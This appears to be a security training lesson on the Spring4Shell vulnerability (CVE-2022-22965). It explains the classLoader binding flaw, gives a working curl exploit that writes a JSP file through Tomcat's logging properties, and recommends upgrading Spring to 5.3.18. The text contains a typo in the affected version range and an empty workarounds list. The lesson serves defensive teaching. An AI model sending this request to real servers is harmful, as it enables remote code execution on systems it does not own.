CVE-2022–22965, aka Spring4Shell, is a critical remote code execution (RCE) vulnerability in the Spring Framework (versions 5.3.0 to 3.5.17, 5.2.0 to 5.2.19, older unsupported versions). The Spring Framework is an open source framework for building web applications in Java and is widely used. Spring Boot simplifies the process to build stand-alone, production-grade Spring based Applications that you can "just run".
The Spring4Shell vulnerability was identified on March 29, 2022. Unfortunately, proof of concepts demonstrating the exploitation of the vulnerability waswere leaked online before the Spring team released a patch, resulting in Spring4Shell being a zero-day vulnerability.
The Spring maintainers released patches on March 31, 2022, mitigating the vulnerability.
In this lesson, you will learn how to exploit Spring4Shell, what it looks like under the hood, and how to secure your application. We'll begin by exploiting this bug in a vulnerable Java application. After that, we'll learn more about what the Spring4Shell bug looks like under the hood. Finally, we'll fix up the Java application to prevent any further exploitation of the Spring4shell bug.
Ready to learn? Get comfy and get ready! Let’s get started!
Check out the Snyk blog post "Spring4Shell: The zero-day RCE in the Spring Framework explained" for an in-depth look at the inner workings of the Spring4Shell vulnerability.
To summarize:
In the affected versions of Spring Framework, an RCE is achievable by abusing the RequestMapping annotation feature via carefully crafted HTTP requests.
The RequestMapping annotation maps web requests onto methods in request-handling classes.
By abusing RequestMapping, an attacker can access and modify nested class properties due to how Spring Core performs the request parameter binding using serialization.
The specific nested object used when exploiting the Spring4Shell vulnerability is class.module.classLoader. Through the classLoader object, an attacker can execute malicious code on the vulnerable server, resulting in RCE. In this case, it is possible due to the specific implementation of the ClassLoader class in the Tomcat server.
curl -X POST \ -H "pre:<%" \ -H "post:;%>" \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}i out.println("HACKED" + (2 + 5))%{post}i' \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/myapp' \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \ -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \ http://mydomain/app/sendmessage
The Spring4Shell vulnerability allows an attacker to perform remote code execution on an application server running a vulnerable configuration, giving them full access to the compromised server. It should be mentioned that while a high number of Spring installs were vulnerable, not all Spring applications were.
Spring4Shell was given a critical severity score of 9.8 by Snyk. This score was given as the vulnerability can be exploited by an unauthenticated user over a network, resulting in an RCE (one of the most significant impacts on a system).
The recommended mitigation strategy for the Spring4Shell vulnerability is a reasonably straightforward minor version update:
<properties> <spring-framework.version>5.3.18</spring-framework.version></properties>
ext['spring-framework.version'] = '5.3.18'
If you cannot update your version of Spring Framework for some reason, the Spring team has provided some other viable workarounds. these include:
These workarounds should not be treated as permanent solutions. They do not directly fix the underlying bug that caused the vulnerability. A plan should be put in place to upgrade the Spring Framework versions when possible. Software Component Analysis Tools like Snyk Open Source are of great help here. They will scan the dependencies of a project (and the dependencies of dependencies named transient dependencies) for known vulnerable elements and suggest a mitigation strategy. In the case of Snyk Open Source, the fix is applied by the click of a button.